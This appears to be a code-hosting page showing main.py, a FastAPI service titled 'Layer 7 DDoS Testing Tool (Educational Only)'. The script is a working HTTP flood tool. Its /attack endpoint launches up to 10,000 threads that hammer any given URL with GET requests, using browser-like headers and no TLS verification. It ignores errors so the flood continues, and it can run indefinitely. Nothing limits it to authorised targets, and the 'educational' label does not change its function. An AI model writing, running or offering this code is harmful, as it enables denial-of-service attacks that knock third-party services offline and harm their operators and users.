File size: 3,380 Bytes
f39ffbb f707f27 8df8350 faf62e8 8df8350 faf62e8 8df8350 f39ffbb 8df8350 a246d27 f39ffbb f707f27 8df8350 a246d27 8df8350 f707f27 8df8350 f707f27 8df8350 f707f27 8df8350 f707f27 8df8350 faf62e8 8df8350 f39ffbb 8df8350 faf62e8 a246d27 f39ffbb 8df8350 a246d27 8df8350 f39ffbb a246d27 f39ffbb 8df8350 faf62e8 a246d27 8df8350 a246d27 8df8350 faf62e8 a246d27 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 |
# main.py
import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
import threading
import requests
import time
import logging
from typing import Optional
from concurrent.futures import ThreadPoolExecutor
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")
# Global attack control
attack_active = False
attack_thread = None
executor = ThreadPoolExecutor(max_workers=10000) # Increased max threads
class AttackConfig(BaseModel):
target: str # http:// or https://
port: Optional[int] = None
duration: int # seconds (-1 for unlimited)
threads: int = 100 # number of concurrent threads (-1 for unlimited)
def flood_target(target_url: str):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Pragma": "no-cache"
}
session = requests.Session()
while attack_active:
try:
session.get(target_url, headers=headers, timeout=5, verify=False)
except:
pass # Ignore failures to keep flooding
def start_attack(config: AttackConfig):
global attack_active, attack_thread
attack_active = True
# Build target URL
protocol = "https" if config.target.startswith("https") else "http"
port = config.port or (443 if protocol == "https" else 80)
target_url = f"{config.target}:{port}"
# Determine thread count
thread_count = config.threads if config.threads != -1 else 10000 # Use max if -1
logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {thread_count} threads")
# Launch threads
futures = []
for _ in range(thread_count):
future = executor.submit(flood_target, target_url)
futures.append(future)
# Handle unlimited duration (-1)
if config.duration != -1:
time.sleep(config.duration)
stop_attack()
else:
logger.info("Attack running indefinitely until manually stopped")
logger.info("Attack completed.")
def stop_attack():
global attack_active
attack_active = False
logger.info("Attack stopped.")
@app.post("/attack")
def launch_attack(config: AttackConfig):
global attack_thread
if attack_thread and attack_thread.is_alive():
raise HTTPException(status_code=400, detail="Attack already in progress")
# Validate thread count
if config.threads != -1 and config.threads > 10000:
raise HTTPException(status_code=400, detail="Max 10,000 threads allowed (use -1 for unlimited)")
# Validate duration
if config.duration != -1 and config.duration > 5000:
raise HTTPException(status_code=400, detail="Max duration 5000 seconds (use -1 for unlimited)")
attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
attack_thread.start()
return {"status": "attack_started", "config": config}
@app.post("/stop")
def stop():
stop_attack()
return {"status": "attack_stopped"}
@app.get("/status")
def status():
return {"attack_active": attack_active}
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
|